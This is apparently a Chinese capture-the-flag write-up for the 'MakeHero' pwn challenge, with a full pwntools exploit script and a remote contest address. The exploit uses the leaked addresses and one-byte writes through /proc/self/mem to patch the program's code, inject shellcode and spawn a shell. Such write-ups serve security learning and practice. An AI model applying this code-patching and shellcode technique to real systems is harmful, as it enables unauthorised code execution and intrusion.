文件操作
sub_1430函数中打开了/proc/self/maps读取了本执行文件的地址映射,并将程序的基址和libc地址打印出来,并且规定了一个区间(proc_base,proc_base+0x5000)和(libc_base,libc_base+0x21c000)

在sub_1369函数处打开了/proc/self/mem,/proc/self/mem代表当前进程的内存映射,可以通过这个文件直接访问或修改self的虚拟内存,有意思的是通过这个文件修改并不会受到段属性的影响,可以改写所有数据,通过lseek修改指针偏移指向指定区域,通过write写入指定内存。

漏洞利用部分
在main函数v6和v4是我们传给sub_1369的参数,可以实现任意地址写,但是v5==2只能执行两次,每次只能写入一个字节,但是我们可以直接改写源代码实现无限任意地址写

本题可以通过修改libc或者程序源码进行getshell,本文章采取后者,修改源码的0xff成0x00实现lea edx,[rax]实现可以一直修改程序源码。


p.recvuntil(b"0x")
process=int("0x"+p.recv(12).decode(),16)
p.recvline()
p.recvuntil(b"0x")
base=int("0x"+p.recv(12).decode(),16)
print(hex(process))
print(hex(base))
p.recvuntil(b"\x90\xA7\x3A\x20")
p.sendline(b"1")
p.recvuntil(b"\x89\xef\xbc\x81")
p.sendline(f"{hex(process+0x1877)} 0".encode())
将程序退出改成shell

a=asm(shellcraft.sh())
for x in range(len(a)):
p.recvuntil(b"\x89\xef\xbc\x81")
p.sendline(hex(process + 0x1886+x).encode()+b" "+hex(a[x]).encode())
p.recvuntil(b"\x89\xef\xbc\x81")
p.sendline(f"{hex(process+0x1877)} 0xff".encode())
最后将lea edx,[rax]改回lea edx,[rax-1]可以退出执行shellcraft.sh()

完整exp
from pwn import *
from ctypes import *
from pwn import p64,p32,u64,u32
from struct import pack
context(os="linux",log_level="debug")
import os,base64,re
from LibcSearcher import *
filename="./MakeHero"
elf=ELF(filename)
context.arch=elf.arch
os.system(f'chmod 777 ./{filename}')
debug=1
if debug:
p=process(filename)
#gdb.attach(p, "b *$rebase(0x186F)")
else:
p=remote("39.107.90.219" , 38943)
libc=ELF("./libc.so.6")
#libc=ELF("/root/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc-2.31.so")
p.recvuntil(b"0x")
process=int("0x"+p.recv(12).decode(),16)
p.recvline()
p.recvuntil(b"0x")
base=int("0x"+p.recv(12).decode(),16)
print(hex(process))
print(hex(base))
p.recvuntil(b"\x90\xA7\x3A\x20")
p.sendline(b"1")
p.recvuntil(b"\x89\xef\xbc\x81")
p.sendline(f"{hex(process+0x1877)} 0".encode())
a=asm(shellcraft.sh())
for x in range(len(a)):
p.recvuntil(b"\x89\xef\xbc\x81")
p.sendline(hex(process + 0x1886+x).encode()+b" "+hex(a[x]).encode())
p.recvuntil(b"\x89\xef\xbc\x81")
p.sendline(f"{hex(process+0x1877)} 0xff".encode())
p.interactive()
Comments NOTHING